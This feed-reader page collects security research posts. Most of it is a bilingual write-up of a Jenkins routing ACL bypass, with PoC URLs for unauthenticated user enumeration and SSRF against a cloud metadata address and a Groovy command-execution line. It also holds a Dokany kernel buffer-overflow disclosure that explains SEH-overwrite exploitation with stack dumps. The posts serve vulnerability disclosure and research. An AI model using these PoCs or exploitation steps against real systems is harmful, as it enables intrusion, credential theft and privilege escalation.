Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

Hacking Jenkins Part 1 - Play with Dynamic Routing

15 January 2019 at 16:00

English Version 中文版本

在軟體工程中, Continuous IntegrationContinuous Delivery 一直都被譽為是軟體開發上的必備流程, 有多少優點就不多談, 光是幫助開發者減少許多雜事就是很大的優勢了! 而在 CI/CD 的領域中, Jenkins 是最為老牌且廣為人知的一套工具, 由於它的易用性, 強大的 Pipeline 系統以及對於容器完美的整合使得 Jenkins 也成為目前最多人使用的 CI/CD 應用, 根據 Snyk 在 2018 年所做出的 JVM 生態報告 中, Jenkins 在 CI/CD 應用中約佔六成的市佔率!

對於 紅隊演練(Red Team) 來說, Jenkins 更是兵家必爭之地, 只要能掌握企業暴露在外的 Jenkins 即可掌握大量的原始碼, 登入憑證甚至控制大量的 Jenkins 節點! 在過去 DEVCORE 所經手過的滲透案子中也出現過數次由 Jenkins 當成進入點, 一步一步從一個小裂縫將目標撕開到完整滲透整間公司的經典案例!

這篇文章主要是分享去年中針對 Jenkins 所做的一次簡單 Security Review, 過程中共發現了五個 CVE:

其中比較被大家所討論的應該是 CVE-2018-1999002, 這是一個在 Windows 下的任意檔案讀取, 由於攻擊方式稍微有趣所以討論聲量較高一點, 這個弱點在外邊也有人做了詳細的分析, 詳情可以參考由騰訊雲鼎實驗室所做的分析(Jenkins 任意文件读取漏洞分析), 他們也成功的展示從 Shodan 找到一台未修補的 Jenkins 實現任意讀檔到遠端代碼執行取得權限的過程!

但這篇文章要提的並不是這個, 而是當時為了嘗試繞過 CVE-2018-1999002 所需的最小權限 Overall/Read 時跟進 Jenkins 所使用的核心框架 Stapler 挖掘所發現的另外一個問題 - CVE-2018-1000861! 如果光從官方的漏洞敘述應該會覺得很神奇, 真的可以光從隨便一個網址去達成代碼執行嗎?

針對這個漏洞, 我的觀點是它就是一個存取控制清單(ACL)上的繞過, 但由於這是 Jenkins 架構上的問題並不是單一的程式編寫失誤, 進而導致了這個漏洞利用上的多樣性! 而為了這個技術債, Jenkins 官方也花費了一番心力(Jenkins PatchStapler Patch)去修復這個漏洞, 不但在原有的架構上介紹了新的路由黑名單及白名單, 也擴展了原有架構的 Service Provider Interface (SPI) 去保護 Jenkins 路由, 下面就來解釋為何 Jenkins 要花了那麼多心力去修復這個漏洞!


代碼審查範圍


首先要聲明的是, 這並不是一次完整的代碼審查(畢竟要做一次太花時間了…), 因此只針對高風險漏洞進行挖掘, 著眼的範圍包括:

  • Jenkins 核心
  • Stapler 網頁框架
  • 建議安裝插件

Jenkins 在安裝過程中會詢問是否安裝建議的套件(像是 Git, GitHub, SVN 與 Pipeline… 等等), 基本上大多數人都會同意不然就只會得到一個半殘的 Jenkins 很不方便XD


Jenkins 中的權限機制


因為這是一個基於 ACL 上的繞過, 所以在解釋漏洞之前, 先來介紹一下 Jenkins 中的權限機制! 在 Jenkins 中有數種不同的角色權限, 甚至有專門的 Matrix Authorization Strategy Plugin (同為建議安裝套件)可針對各專案進行細部的權限設定, 從攻擊者的角度我們粗略分成三種:

1. Full Access

對於 Jenkins 有完整的控制權, 可對 Jenkins 做任何事! 基本上有這個權限即可透過 Script Console 介面使用 Groovy 執行任意代碼!

print "uname -a".execute().text

這個權限對於駭客來說也是最渴望得到的權限, 但基本上由於安全意識的提升及網路上各種殭屍網路對全網進行掃描, 這種配置已經很少見(或只見於內網)

2. Read-only Mode

可從 Configure Global Security 介面中勾選下面選項來開啟這個模式

Allow anonymous read access

在這個模式下, 所有的內容皆是可讀的, 例如可看到工作日誌或是一些 job/node 等敏感資訊, 對於攻擊者來說在這個模式下最大的好處就是可以獲得大量的原始碼! 但與 Full Access 模式最大的差異則是無法進行更進一步的操作或是執行 Groovy 代碼以取得控制權!

雖然這不是 Jenkins 的預設設定, 但對於一些習慣自動化的 DevOps 來說還是有可能開啟這個選項, 根據實際在 Shodan 上的調查約 12% 的機器還是開啟這個選項! 以下使用 ANONYMOUS_READ=True 來代稱這個模式

3. Authenticated Mode

這是 Jenkins 預設安裝好的設定, 在沒有一組有效的帳號密碼狀況下無法看到任何資訊及進行任何操作! 以下使用 ANONYMOUS_READ=False 來代稱此模式


漏洞分析


整個漏洞要從 Jenkins 的 動態路由 講起, 為了給開發者更大的彈性, Jenkins(嚴格來講是 Stapler)使用了一套 Naming Convention 去匹配路由及動態的執行! 首先 Jenkins 以 / 為分隔將 URL 符號化, 接著由 jenkins.model.Jenkins 為入口點開始往下搜尋, 如果符號符合 (1) Public 屬性的成員或是 (2) Public 屬性的方法符合下列命名規則, 則調用並繼續往下呼叫:

  1. get<token>()
  2. get<token>(String)
  3. get<token>(Int)
  4. get<token>(Long)
  5. get<token>(StaplerRequest)
  6. getDynamic(String, …)
  7. doDynamic(…)
  8. do<token>(…)
  9. js<token>(…)
  10. Class method with @WebMethod annotation
  11. Class method with @JavaScriptMethod annotation

看起來 Jenkins 給予開發者很大程度的自由去訪問各個物件, 但過於自由總是不好的,根據這種調用方式這裡就出現了兩個問題!

1. 萬物皆繼承 java.lang.Object

在 Java 中, 所有的物件皆繼承 java.lang.Object 這個類別, 因此所有在 Java 中的物件皆存在著 getClass() 這個方法! 而恰巧這個方法又符合命名規則 #1, 因此 getClass() 可在 Jenkins 調用鏈中被動態呼叫!

2. 跨物件操作導致白名單繞過

前面所提到的 ANONYMOUS_READ, 其中 TrueFalse 間最大的不同在於當在禁止的狀況下, 最初的入口點會透過 jenkins.model.Jenkins#getTarget() 多做一個基於白名單的 URL 前綴檢查, 這個白名單如下:

private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
    "/login",
    "/logout",
    "/accessDenied",
    "/adjuncts/",
    "/error",
    "/oops",
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
);

這也代表著一開始可選的入口限制更嚴格選擇更少, 但如果能在一個白名單上的入口找到其他物件參考, 跳到非白名單上的成員豈不可以繞過前述的 URL 前綴限制? 可能有點難理解, 這裡先來一個簡單的範例來解釋 Jenkins 的動態路由機制:

http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content

以上網址會依序執行下列方法

jenkins.model.Jenkins.getAdjuncts("whatever") 
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()

上面的執行鏈一個串一個雖然看起來很流暢, 但難過的是無法取得回傳內容, 因此嚴格來說不能算是一個風險, 但這個例子對於理解整個漏洞核心卻有很大的幫助!

在了解原理後, 剩下的事就像是在解一個迷宮, 從 jenkins.model.Jenkins 這個入口點開始, 物件中的每個成員又可以參考到一個新的物件, 接著要做的就是想辦法把中間錯綜複雜各種物件與物件間的關聯找出來, 一層一層的串下去直到迷宮出口 - 也就是危險的函數呼叫!

值得一提的是, 這個漏洞最可惜的地方應該是無法針對 SETTER 進行操作, 不然的話應該就又是另外一個有趣的 Struts2 RCE 或是 Spring Framework RCE 了!


如何利用


所以該如何利用這個漏洞呢? 簡單說, 這個漏洞所能做到的事情就只是透過物件間的參考去繞過 ACL 政策, 但在此之前我們必須先找到一個好的跳板好讓我們可以更方便的在物件中跳來跳去, 這裡我們選用了下面這個跳板:

/securityRealm/user/[username]/descriptorByName/[descriptor_name]/

這個跳板會依序執行下面方法

jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])

在 Jenkins 中可以被操作的物件都會繼承一個 hudson.model.Descriptor 類別, 而繼承這個類別的物件都可以透過 hudson.model.DescriptorByNameOwner#getDescriptorByName(String) 去存取, 所以總體來說, 可透過這個跳板取得在 Jenkins 中約 500 個 Despicable 的物件類別!

不過雖是如此, 由於 Jenkins 的設計模式, 大部分開發者在危險動作之前都會再做一次權限檢查, 所以即使可呼叫到 Script Console 但在沒有 Jenkins.RUN_SCRIPTS 權限的情況下也無法做任何事 :(

但這個漏洞依然不失成為一個很好的膠水去繞過第一層的 ACL 限制串起其他的漏洞, 為後續的利用開啟了一道窗! 以下我們給出三個串出漏洞鏈的例子! (雖然只介紹三種, 但由於這個漏洞玩法非常自由可串的絕不只如此, 推薦有興趣的同學可在尋找更多的漏洞鏈!)

P.S. 值得注意的一點是, 在 getUser([username]) 的實現中會呼叫到 getOrCreateById(...) 並且傳入 create=True 導致在記憶體中創造出一個暫存使用者(會出現在使用者列表但無法進行登入操作), 雖然無用不過也被當成一個漏洞記錄在 SECURITY-1128


1. 免登入的使用者資訊洩漏

在測試 Jenkins 時, 最怕的就是要進行字典檔攻擊時卻不知道該攻擊哪個帳號, 畢竟帳號永遠比密碼難猜! 這時這個漏洞就很好用了XD

由於 Jenkins 對搜尋的功能並沒有加上適當的權限檢查, 因此在 ANONYMOUS_READ=False 的狀況下可以透過修改 keyword 參數從 a 到 z 去列舉出所有使用者!

PoC:

http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]

除此之外也可搭配由 Ananthapadmanabhan S R 所回報的 SECURITY-514 進一步取得使用者信箱, 如:

http://jenkins.local/securityRealm/user/admin/api/xml


2. 與 CVE-2018-1000600 搭配成免登入且有完整回顯的 SSRF

下一個要串的漏洞則是 CVE-2018-1000600, 這是一個由 Orange Tsai(對就是我XD) 所回報的漏洞, 關於這個漏洞官方的描述是:

CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials

在已知 Credentials ID 的情形下可以洩漏任意 Jenkins 儲存的帳密, 但 Credentials ID 在沒指定的情況下會是一組隨機的 UUID 所以造成要利用這個漏洞似乎變得不太可能 (如果有人知道怎麼取得 Credentials ID 請告訴我!)

雖然在不知道 Credentials ID 的情況下無法洩漏任何帳密, 但這個漏洞其實不只這樣, 還有另一個玩法! 關於這個漏洞最大的危害其實不是 CSRF, 而是 SSRF!

不僅如此, 這個 SSRF 還是一個有回顯的 SSRF! 沒有回顯的 SSRF 要利用起來有多困難我想大家都知道 :P 因此一個有回顯的 SSRF 也就顯得何其珍貴!

PoC:

http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai


3. 未認證的遠端代碼執行

所以廢話少說, RCE 在哪?

為了最大程度的去利用這個漏洞, 我也挖了一個非常有趣的 RCE 可以與這個漏洞搭配使用成為一個真正意義上不用認證的 RCE! 但由於這個漏洞目前還在 Responsible Disclosure 的時程內, 就請先期待 Hacking Jenkins Part 2 囉! (預計二月中釋出!)


TODO


這裡是一些我想繼續研究的方向, 可以讓這個漏洞變得更完美! 如果你發現了下面任何一個的解法請務必告訴我, 我會很感激的XD

  • ANONYMOUS_READ=False 的權限下拿到 Plugin 的物件參考, 如果拿到的可以繞過 CVE-2018-1999002CVE-2018-6356 所需的最小權限限制, 成為一個真正意義上的免登入任意讀檔!
  • ANONYMOUS_READ=False 的權限下找出另一組跳板去呼叫 getDescriptorByName(String). 為了修復 SECURITY-672, Jenkins 從 2.138 開始對 hudson.model.User 增加判斷 Jenkins.READ檢查, 導致原有的跳板失效!


致謝


最後, 感謝 Jenkins Security 團隊尤其是 Daniel Beck 的溝通協調與漏洞修復! 這裡是一個簡單的回報時間軸:

  • May 30, 2018 - 回報漏洞給 Jenkins
  • Jun 15, 2018 - Jenkins 修補並分配 CVE-2018-1000600
  • Jul 18, 2018 - Jenkins 修補並分配 CVE-2018-1999002
  • Aug 15, 2018 - Jenkins 修復並分配 CVE-2018-1999046
  • Dec 05, 2018 - Jenkins 修補並分配 CVE-2018-1000861
  • Dec 20, 2018 - 回報 Groovy 漏洞給 Jenkins
  • Jan 08, 2019 - Jenkins 修復 Groovy 漏洞並分配 CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002

Hacking Jenkins Part 1 - Play with Dynamic Routing (EN)

15 January 2019 at 16:00

English Version 中文版本

In software engineering, the Continuous Integration and Continuous Delivery is a best practice for developers to reduce routine works. In the CI/CD, the most well-known tool is Jenkins. Due to its ease of use, awesome Pipeline system and integration of Container, Jenkins is also the most widely used CI/CD application in the world. According to the JVM Ecosystem Report by Snyk in 2018, Jenkins held about 60% market share on the survey of CI/CD server.

For Red Teamers, Jenkins is also the battlefield that every hacker would like to control. If someone takes control of the Jenkins server, he can gain amounts of source code and credential, or even control the Jenkins node! In our DEVCORE Red Team cases, there are also several cases that the whole corporation is compromised from simply a Jenkins server as our entry point!

This article is mainly about a brief security review on Jenkins in the last year. During this review, we found 5 vulnerabilities including:

Among them, the more discussed one is the vulnerability CVE-2018-1999002. This is an arbitrary file read vulnerability through an unusual attack vector! Tencent YunDing security lab has written a detailed advisory about that, and also demonstrated how to exploit this vulnerability from arbitrary file reading to RCE on a real Jenkins site which found from Shodan!

However, we are not going to discuss that in this article. Instead, this post is about another vulnerability found while digging into Stapler framework in order to find a way to bypass the least privilege requirement ANONYMOUS_READ=True of CVE-2018-1999002! If you merely take a look at the advisory description, you may be curious – Is it reality to gain code execution with just a crafted URL?

From my own perspective, this vulnerability is just an Access Control List(ACL) bypass, but because this is a problem of the architecture rather than a single program, there are various ways to exploit this bug! In order to pay off the design debt, Jenkins team also takes lots of efforts (patches in Jenkins side and Stapler side) to fix that. The patch not only introduces a new routing blacklist and whitelist but also extends the original Service Provider Interface (SPI) to protect Jenkins’ routing. Now let’s figure out why Jenkins need to make such a huge code modification!


Review Scope


This is not a complete code review (An overall security review takes lots of time…), so this review just aims at high impact bugs. The review scope includes:

  • Jenkins Core
  • Stapler Web Framework
  • Suggested Plugins

During the installation, Jenkins asks whether you want to install suggested plugins such as Git, GitHub, SVN and Pipeline. Basically, most people choose yes, or they will get an inconvenient and hard-to-use Jenkins.


Privilege Levels


Because the vulnerability is an ACL bypass, we need to introduce the privilege level in Jenkins first! In Jenkins, there are different kinds of ACL roles, Jenkins even has a specialized plugin Matrix Authorization Strategy Plugin(also in the suggested plugin list) to configure the detailed permission per project. From an attacker’s view, we roughly classify the ACL into 3 types:

1. Full Access

You can fully control Jenkins. Once the attacker gets this permission, he can execute arbitrary Groovy code via Script Console!

print "uname -a".execute().text

This is the most hacker-friendly scenario, but it’s hard to see this configuration publicly now due to the increase of security awareness and lots of bots scanning all the IPv4.

2. Read-only Mode

This can be enabled from the Configure Global Security and check the radio box:

Allow anonymous read access

Under this mode, all contents are visible and readable. Such as agent logs and job/node information. For attackers, the best benefit of this mode is the accessibility of a bunch of private source codes! However, the attacker cannot do anything further or execute Groovy scripts!

Although this is not the default setting, for DevOps, they may still open this option for automations. According to a little survey on Shodan, there are about 12% servers enabled this mode! We will call this mode ANONYMOUS_READ=True in the following sections.

3. Authenticated Mode

This is the default mode. Without a valid credential, you can’t see any information! We will use ANONYMOUS_READ=False to call this mode in following sections.


Vulnerability Analysis

To explain this vulnerability, we will start with Jenkins’ Dynamic Routing. In order to provide developers more flexibilities, Jenkins uses a naming convention to resolve the URL and invoke the method dynamically. Jenkins first tokenizes all the URL by /, and begins from jenkins.model.Jenkins as the entry point to match the token one by one. If the token matches (1)public class member or (2)public class method correspond to following naming conventions, Jenkins invokes recursively!

  1. get<token>()
  2. get<token>(String)
  3. get<token>(Int)
  4. get<token>(Long)
  5. get<token>(StaplerRequest)
  6. getDynamic(String, …)
  7. doDynamic(…)
  8. do<token>(…)
  9. js<token>(…)
  10. Class method with @WebMethod annotation
  11. Class method with @JavaScriptMethod annotation

It looks like Jenkins provides developers a lot of flexibility. However, too much freedom is not always a good thing. There are two problems based on this naming convention!

1. Everything is the Subclass of java.lang.Object

In Java, everything is a subclass of java.lang.Object. Therefore, all objects must exist the method - getClass(), and the name of getClass() just matches the naming convention rule #1! So the method getClass() can be also invoked during Jenkins dynamic routing!

2. Whitelist Bypass

As mentioned before, the biggest difference between ANONYMOUS_READ=True and ANONYMOUS_READ=False is, if the flag set to False, the entry point will do one more check in jenkins.model.Jenkins#getTarget(). The check is a white-list based URL prefix check and here is the list:

private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
    "/login",
    "/logout",
    "/accessDenied",
    "/adjuncts/",
    "/error",
    "/oops",
    "/signup",
    "/tcpSlaveAgentListener",
    "/federatedLoginService/",
    "/securityRealm",
    "/instance-identity"
);

That means you are restricted to those entrances, but if you can find a cross reference from the white-list entrance jump to other objects, you can still bypass this URL prefix check! It seems a little bit hard to understand. Let’s give a simple example to demonstrate the dynamic routing:

http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content

The above URL will invoke following methods in sequence!

jenkins.model.Jenkins.getAdjuncts("whatever") 
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()

This execution chain seems smooth, but sadly, it can not retrieve the result. Therefore, this is not a potential risk, but it’s still a good case to understand the mechanism!

Once we realize the principle, the remaining part is like solving a maze. jenkins.model.Jenkins is the entry point. Every member in this object can references to a new object, so our work is to chain the object layer by layer till the exit door, that is, the dangerous method invocation!

By the way, the saddest thing is that this vulnerability cannot invoke the SETTER, otherwise this would definitely be another interesting classLoader manipulation bug just like Struts2 RCE and Spring Framework RCE!!


How to Exploit?


How to exploit? In brief, the whole thing this bug can achieve is to use cross reference objects to bypass ACL policy. To leverage it, we need to find a proper gadget so that we can invoke the object we prefer in this object-forest more conveniently! Here we choose the gadget:

/securityRealm/user/[username]/descriptorByName/[descriptor_name]/

The gadget will invoke following methods sequencely.

jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])

In Jenkins, all configurable objects will extend the type hudson.model.Descriptor. And, any class who extends the Descriptor type is accessible by method hudson.model.DescriptorByNameOwner#getDescriptorByName(String). In general, there are totally about 500 class types can be accessed! But due to the architecture of Jenkins. Most developers will check the permission before the dangerous action again. So even we can find a object reference to the Script Console, without the permission Jenkins.RUN_SCRIPTS, we still can’t do anything :(

Even so, this vulnerability can still be considered as a stepping stone to bypass the first ACL restriction and to chain other bugs. We will show 3 vulnerability-chains as our case study! (Although we just show 3 cases, there are more than 3! If you are intersted, it’s highly recommended to find others by yourself :P )

P.S. It should be noted that in the method getUser([username]), it will invoke getOrCreateById(...) with create flag set to True. This result to the creation of a temporary user in memory(which will be listed in the user list but can’t sign in). Although it’s harmless, it is still recognized as a security issue in SECURITY-1128.


1. Pre-auth User Information Leakage

While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt).

In this situation, this vulnerability is useful! Due to the lack of permission check on search functionality. By modifying the keyword from a to z, an attacker can list all users on Jenkins!

PoC:

http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]

Also, this vulnerability can be also chained with SECURITY-514 which reported by Ananthapadmanabhan S R to leak user’s email address! Such as:

http://jenkins.local/securityRealm/user/admin/api/xml


2. Chained with CVE-2018-1000600 to a Pre-auth Fully-responded SSRF

The next bug is CVE-2018-1000600, this bug is reported by Orange Tsai(Yes, it’s me :P). About this vulnerability, the official description is:

CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials

It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)

Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!

PoC:

http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai


3. Pre-auth Remote Code Execution

PLEASE DON’T BULLSHIT, WHERE IS THE RCE!!!

In order to maximize the impact, I also find an INTERESTING remote code execution can be chained with this vulnerability to a well-deserved pre-auth RCE! But it’s still on the responsible disclosure process. Please wait and see the Part 2! (Will be published on February 19th :P)


TODO


Here is my todo list which can make this vulnerability more perfect. If you find any of them please tell me, really appreciate it :P

  • Get the Plugin object reference under ANONYMOUS_READ=False. If this can be done, it can bypass the ACL restriction of CVE-2018-1999002 and CVE-2018-6356 to a indeed pre-auth arbitrary file reading!
  • Find another gadget to invoke the method getDescriptorByName(String) under ANONYMOUS_READ=False. In order to fix SECURITY-672, Jenkins applies a check on hudson.model.User to ensure the least privilege Jenkins.READ. So the original gadget will fail after Jenkins version 2.138.


Acknowledgement


Thanks Jenkins Security team especially Daniel Beck for the coordination and bug fixing! Here is the brief timeline:

  • May 30, 2018 - Report vulnerabilities to Jenkins
  • Jun 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1000600
  • Jul 18, 2018 - Jenkins patched the bug and assigned CVE-2018-1999002
  • Aug 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1999046
  • Dec 05, 2018 - Jenkins patched the bug and assigned CVE-2018-1000861
  • Dec 20, 2018 - Report Groovy vulnerability to Jenkins
  • Jan 08, 2019 - Jenkins patched Groovy vulnerability and assigned CVE-2019-1003000, CVE-2019-1003001 and CVE-2019-1003002

Dokany/Google Drive File Stream Kernel Stack-based Buffer Overflow Vulnerability

By: Parvez
14 January 2019 at 17:07

Last November I reported a kernel vulnerability to CERT/CC for their help in coordinating the disclosure as it impacted dozens of vendors including Google Drive File Stream (GDFS).

The vulnerability was a stack-based buffer overflow in Dokany’s kernel mode file system driver and has been assigned cve id of CVE-2018-5410. With Dokany you can create your own virtual file system without writing device drivers. The code is open source and is being used in dozens of projects listed here. A handful of products were tested and are all shipped with Dokany’s compiled package with the exception of GDFS where parts of the code have been changed and signed by Google.

Triggering the bug
Connecting to the device handle “dokan_1” and sending inputted buffer of more than 776 bytes to IOCTL 0x00222010 is enough to corrupt the stack cookie and BSOD the box.

kd> !analyze -v
***************************************************************************
*                                                                         *
*                        Bugcheck Analysis                                *
*                                                                         *
***************************************************************************
DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned.  This is the classic "buffer overrun"
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
variable(s).
Arguments:
Arg1: c0693bbe, Actual security check cookie from the stack
Arg2: 1c10640d, Expected security check cookie
Arg3: e3ef9bf2, Complement of the expected security check cookie
Arg4: 00000000, zero

Debugging Details:
------------------
DEFAULT_BUCKET_ID:  GS_FALSE_POSITIVE_MISSING_GSFRAME
SECURITY_COOKIE:  Expected 1c10640d found c0693bbe
.
.
.

Checking the source code to pinpoint vulnerable code was found to be in notification.c where RtlCopyMemory function’s szMountPoint->Length parameter is not validated

RtlCopyMemory(&dokanControl.MountPoint[12], szMountPoint->Buffer, szMountPoint->Length);

The vulnerable code was introduced from the major version update 1.0.0.5000 which was released on the 20th September 2016.

TimeLine
Below is the timeline where we can see the maintainers of Dokany were very efficient in fixing this bug.

30th November 2018 – Submitted on CERT/CC online form
03rd December 2018 – Received acknowledgement of submission
08th December 2018 – Updated Dokan code committed [link]
18th December 2018 – Dokan change log [1.2.1.1000] [link]
20th December 2018 – Compiled version released [link]
20th December 2018 – CERT/CC publish Vulnerability Note VU#741315 [link]

So what happened to Google?
Well it would seem Google have kept quiet about this bug and silently fixed it without any publication. The only url I found on GDFS release notes is here where the last update was on the 17th October 2018 on version 28.1. It was just out of curiosity I had downloaded GDFS on the 28th of December only to discover the vulnerability had already been patched. The patched versions are:

Software : GoogleDriveFSSetup.exe
Version  : 29.1.34.1821
Signed   : 17th December 2018

Driver   : googledrivefs2622.sys
Version  : 2.622.2225.0
Signed   : 14th December 2018

The last vulnerable version I tested was:

Software : GoogleDriveFSSetup.exe
Version  : 28.1.48.2039
Signed   : 13th November 2018

Driver   : googledrivefs2544.sys
Version  : 2.544.1532.0
Signed   : 27th September 2018

CERT/CC vulnerability notes is still flagged as being affected

GDFS driver filename, version and handle change in each update. Here is a list of some previous vulnerable versions.

Driver filename Driver version Device handle
googledrivefs2285.sys 2.285.2219.0 googledrivefs_2285
googledrivefs2454.sys 2.454.2037.0 googledrivefs_2454
googledrivefs2534.sys 2.534.1534.0 googledrivefs_2534
googledrivefs2544.sys 2.544.1532.0 googledrivefs_2544

Exploiting the bug
Since the vulnerability is a stack-based buffer overflow compiled with Stack Cookie protection (/GS) which is validated before our function is returned controlling the flow of execution using the return address is not possible. To bypass cookie validation we need to overwrite an exception handler in the stack and then trigger an exception in the kernel there by calling our overwritten exception handler. This technique however only applies to 32-bit systems as when code is compiled for 64-bit the exception handlers are no longer stored on the stack so from “frame based” has become “table-based”. For 64-bit the exception handlers are stored in the PE image where there is an exception directory contains a variable number of RUNTIME_FUNCTION structures. An article posted on OSRline explains it well. Below shows the exception directory in 64-bit compiled driver

In order to exploit on 32-bit OS after the exception handler has been overwritten with our address pointing to our shellcode we need to trigger an exception. Usually reading beyond our inputted buffer would do it as it be unallocated memory after setting up our buffer using apis such as CreateFileMapping() and MapViewOfFile(). Unfortunately this is not possible as the IOCTL used 0x00222010 is using “Buffered I/O” transfer method where the data is allocated into the system buffer so when our inputted data is read its read from the system buffer thus there so no unallocated memory after our buffer.

For Dokany driver there is still a way to exploit as after the overflow and before cookie validation it calls another subroutine which ends up calling api IoGetRequestorSessionId(). One of the parameters it reads from the stack is the IRP address which we happen to control. All we need to do is make sure our IRP address points to an area of unallocated memory.

As for GDFS Google have made some changes to its code so the api IoGetRequestorSessionId() is not called and I couldn’t find any other way to produce an exception so just ends up producing BSOD. The last thing to mention is that the vulnerable subroutine is not wrapped in a __try/__except block but a parent subroutine is and thats the exception handler being overwritten further down the stack. A minimum inputted buffer size of 896 bytes is need in order to overwrite the exception handler.

2   bytes   – Size used by memcpy
2   bytes   – Size used to check input buffer
772 bytes   – Actual data buffer
4   bytes   – Cookie
4   bytes   – EBP
4   bytes   – RET
4   bytes   – Other data
4   bytes   – IRP
96  bytes   – Other data
4   bytes   – Exception handler

Stack layout before and after our overflow

a1caf9f4  00000000
a1caf9f8  fcef3710 <-- cookie
a1caf9fc  a1cafa1c
a1cafa00  902a2b80 dokan1+0x5b80  <-- return
a1cafa04  861f98b0
a1cafa08  871ef510 <-- IRP
a1cafa0c  861f9968
a1cafa10  871ef580
a1cafa14  00000010
a1cafa18  c0000002
a1cafa1c  a1cafa78
a1cafa20  902a2668 dokan1+0x5668
a1cafa24  861f98b0
a1cafa28  871ef510
a1cafa2c  fcef3494
a1cafa30  86cd4738
a1cafa34  861f98b0
a1cafa38  00000000
a1cafa3c  00000000
a1cafa40  00000000
a1cafa44  00000000
a1cafa48  00000000
a1cafa4c  871ef580
a1cafa50  861f9968
a1cafa54  00222010
a1cafa58  c0000002
a1cafa5c  861f9968
a1cafa60  861f98b0
a1cafa64  a1cafa7c
a1cafa68  a1cafacc
a1cafa6c  902b2610 dokan1+0x15610  <-- Exception handler


kd> dps a1caf9f4
a1caf9f4  41414141
a1caf9f8  42424242 <-- cookie
a1caf9fc  41414141
a1cafa00  43434343 <-- return
a1cafa04  41414141
a1cafa08  44444444 <-- IRP
a1cafa0c  41414141
a1cafa10  41414141
a1cafa14  41414141
a1cafa18  41414141
a1cafa1c  41414141
a1cafa20  41414141
a1cafa24  41414141
a1cafa28  41414141
a1cafa2c  41414141
a1cafa30  41414141
a1cafa34  41414141
a1cafa38  41414141
a1cafa3c  41414141
a1cafa40  41414141
a1cafa44  41414141
a1cafa48  41414141
a1cafa4c  41414141
a1cafa50  41414141
a1cafa54  41414141
a1cafa58  41414141
a1cafa5c  41414141
a1cafa60  41414141
a1cafa64  41414141
a1cafa68  41414141
a1cafa6c  000c0000 <-- Exception handler which now points to shellcode

To recover we return to the parent subroutine.

a1cafa70  00000000
a1cafa74  00000000
a1cafa78  a1cafa94
a1cafa7c  902a3d4a dokan1+0x6d4a
a1cafa80  861f98b0
a1cafa84  871ef510 
a1cafa88  0000000e
a1cafa8c  d346f492
a1cafa90  871ef580 <-- before ebp, recover here after shellcode execution
a1cafa94  a1cafadc
a1cafa98  902a3a8f dokan1+0x6a8f
a1cafa9c  861f98b0
a1cafaa0  871ef510
a1cafaa4  fcef3430
a1cafaa8  86cd4738
a1cafaac  861f98b0
a1cafab0  00000000
a1cafab4  871ef510
a1cafab8  00000001
a1cafabc  c0000001
a1cafac0  0101af00
a1cafac4  a1cafaa4
a1cafac8  871ef520
a1cafacc  a1cafbc0
a1cafad0  902b2610 dokan1+0x15610
a1cafad4  cd0e6854
a1cafad8  00000001
a1cafadc  a1cafaf4
a1cafae0  82a8c129 nt!IofCallDriver+0x63
a1cafae4  861f98b0
a1cafae8  871ef510
a1cafaec  871ef510
a1cafaf0  861f98b0

The exploit can be downloaded from here [zip] and the direct link to the vulnerable package used from Github [exe]. The zip file only contains exploit for Windows 7 32 bit OS along with code to trigger BSOD on earlier GDFS 32/64 bit versions.

Note the exploit is not perfect as in once an elevated shell is spawned the parent process takes around 7 minutes before returning to the prompt. Most likely the recovery part of the shellcode needs a bit of work. Also for some strange reason the exploit only works when the debugger is attached and I just couldn’t figure out why. One observation I noticed was that the shellcode buffer becomes unallocated so might be some timing issue. If you have any ideas do please leave a comment.

@ParvezGHH

2FA Instructions for Facebook

By: JW
1 January 2019 at 18:05
Here are instructions for enabling two factor authentication (2FA) on Facebook: Login to Facebook Go to Settings>Security and Login Click Use two-factor authentication Duo If you have Duo setup on your device and would like to use it follow these instructions: Click Authentication App Open Duo, click the plus button and take a picture of...

Altering Msfvenom Exec Payload to Work Without an ExitFunc

18 November 2018 at 00:00

On a few occasions as of late, I’ve wanted to use the windows[/x64]/exec payload from msfvenom, but with the goal of:

  1. Allowing execution to continue afterwards
  2. Executing in a single threaded environment
  3. Executing without an exception handler

